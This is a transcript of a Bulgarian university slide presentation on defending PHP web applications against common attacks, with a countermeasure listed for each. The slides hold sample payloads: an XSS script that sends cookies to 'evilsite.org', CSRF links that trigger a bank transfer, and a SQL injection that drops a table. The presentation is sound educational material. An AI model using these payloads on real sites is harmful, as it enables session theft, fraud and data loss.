Защита при създаване на php-приложения в Интернет

20
Изготвил: Енис Исмаил, ф. номер: 12109 Проверли: доц. д-р Стефан Дражев, ас. Радка Начева Икономически университет – Варна Център «Магистърско обучение» Катедра «Информатика» Защита при създаване на PHP-приложения в Интернет

Upload: eismail

Post on 16-Jun-2015

168 views

Category:

Software


8 download

DESCRIPTION

Защита при създаване на PHP-приложения в Интернет

TRANSCRIPT

Page 1: Защита при създаване на PHP-приложения в Интернет

Изготвил: Енис Исмаил, ф. номер: 12109

Проверли: доц. д-р Стефан Дражев, ас. Радка Начева

Икономически университет – ВарнаЦентър «Магистърско обучение»

Катедра «Информатика»

Защита при създаване на PHP-приложения в Интернет

Page 2: Защита при създаване на PHP-приложения в Интернет

Нужда от защита на уеб-приложенията?

Page 3: Защита при създаване на PHP-приложения в Интернет

Семантични атаки

Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп.

Пример:

www.domain.com/view_invoice.php?id=1000523

www.domain.com/view_invoice.php?id=1000413

Защита:

Проверяване дали потребителят има право да прочете/запише съответната ифнормация.

Използване на трудни за отгатване идентификационни низове.

Page 4: Защита при създаване на PHP-приложения в Интернет

Атаки чрез качване на файлове

Page 5: Защита при създаване на PHP-приложения в Интернет

Атаки чрез качване на файлове

Опасности:

Качване на файлове, съдържащи зловреден PHP или JavaScript код и изпълняването им в системата.

Натоварване и блокиране на сървъра чрез качване на прекалено големи по размер файлове.

Защита:

Позволяване за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx.

Ограничение на размера на файловете, които могат да бъдат качени.

Премахване на execute флага в привилегиите за папката, където се съхраняват качените файлове.

Промяна името на качваният файл.

Page 6: Защита при създаване на PHP-приложения в Интернет

XSS атаки

Page 7: Защита при създаване на PHP-приложения в Интернет

XSS атаки

XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб-приложенията със сигурност не са изключение.

<script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie</script>

XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни.

Използване на функции за екранизация на данните

Задаване на session.cookie_httponly = True в php.ini

Page 8: Защита при създаване на PHP-приложения в Интернет

Brute-Force атаки и Dictionary атаки

Page 9: Защита при създаване на PHP-приложения в Интернет

Brute-Force атаки и Dictionary атаки

Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Използват за намиране на сравнително прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките.

Защита:

Използване на по-сложни пароли

Използване на Captcha

Лимитиране на броя заявки за определен период от време

Фиксиране достъпа до акаунти по IP адрес

Page 10: Защита при създаване на PHP-приложения в Интернет

Отĸpaдвaнe нa cecия (session hijacking)

Page 11: Защита при създаване на PHP-приложения в Интернет

Отĸpaдвaнe нa cecия (session hijacking)

Сесията се открадва чрез получаване на идентификационният номер за сесията, който се пази в браузъра на клиента.

Начини за открадване:

Чрез предсказване на ID на сесията

Чрез подслушване на комуникационния канал

Чрез фиксиране на ID на сесията чрез URL или XSS атака

Защита:

Използване на криптирана връзка – SSL (Secure Socket Layer)

Често подновяване ID на сесията

Сравняване на IP и/или User Agent информацията на клиента

Page 12: Защита при създаване на PHP-приложения в Интернет

Фалшификати на заявки (CSRF)

Page 13: Защита при създаване на PHP-приложения в Интернет

Фалшификати на заявки (CSRF)

CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна.

<a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a>

<img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0">

Защита:

Използване на произволен низ (token) във формата или линка

Искане за повторно въвеждане на парола (или Captcha)

Page 14: Защита при създаване на PHP-приложения в Интернет

SQL инжектиране

Page 15: Защита при създаване на PHP-приложения в Интернет

SQL инжектиране

SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението.

Най-често SQL инжектирането се използва за постигане на следните неща:

Прочитане на данни

Промяна на данни (запис, модифициране, изтриване)

Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД.

Page 16: Защита при създаване на PHP-приложения в Интернет

SQL инжектиране

Пример:

Заявка в PHP:

$query = “SELECT * FROM students WHERE fnum = '$query'”;

Изпълнена заявка в MySQL след въвеждане на стойност „086012“:

SELECT * FROM students WHERE fnum = 086012

Изпълнена заявка в MySQL след въвеждане на стойност „1; DROP TABLE students “:

SELECT * FROM students WHERE fnum = 1; DROP TABLE students;

Page 17: Защита при създаване на PHP-приложения в Интернет

SQL инжектиране

Начини за защита от SQL инжектиране:

Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.

Използване на процедури, като параметрите се подават отделно.

Екранизиране на всички входни данни, използвани в заявките.

Валидиране на данните, преди да бъдат използвани в заявките.

Ограничаване на привилегиите за използване на БД за всеки акаунт.

Page 18: Защита при създаване на PHP-приложения в Интернет

Атаки за отказ на услуга (DDoS атаки)

Page 19: Защита при създаване на PHP-приложения в Интернет

Атаки за отказ на услуга (DDoS атаки)

Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни.

DDoS атаките биват два основни вида:

Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;

Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно.

Начини за предпазване:

Осигуряване на достатъчно ресурси на сървъра;

Използване на хардуерни защитни стени, филтриращи трафика преди достигне до сървъра.

Page 20: Защита при създаване на PHP-приложения в Интернет

Благодаря за вниманието!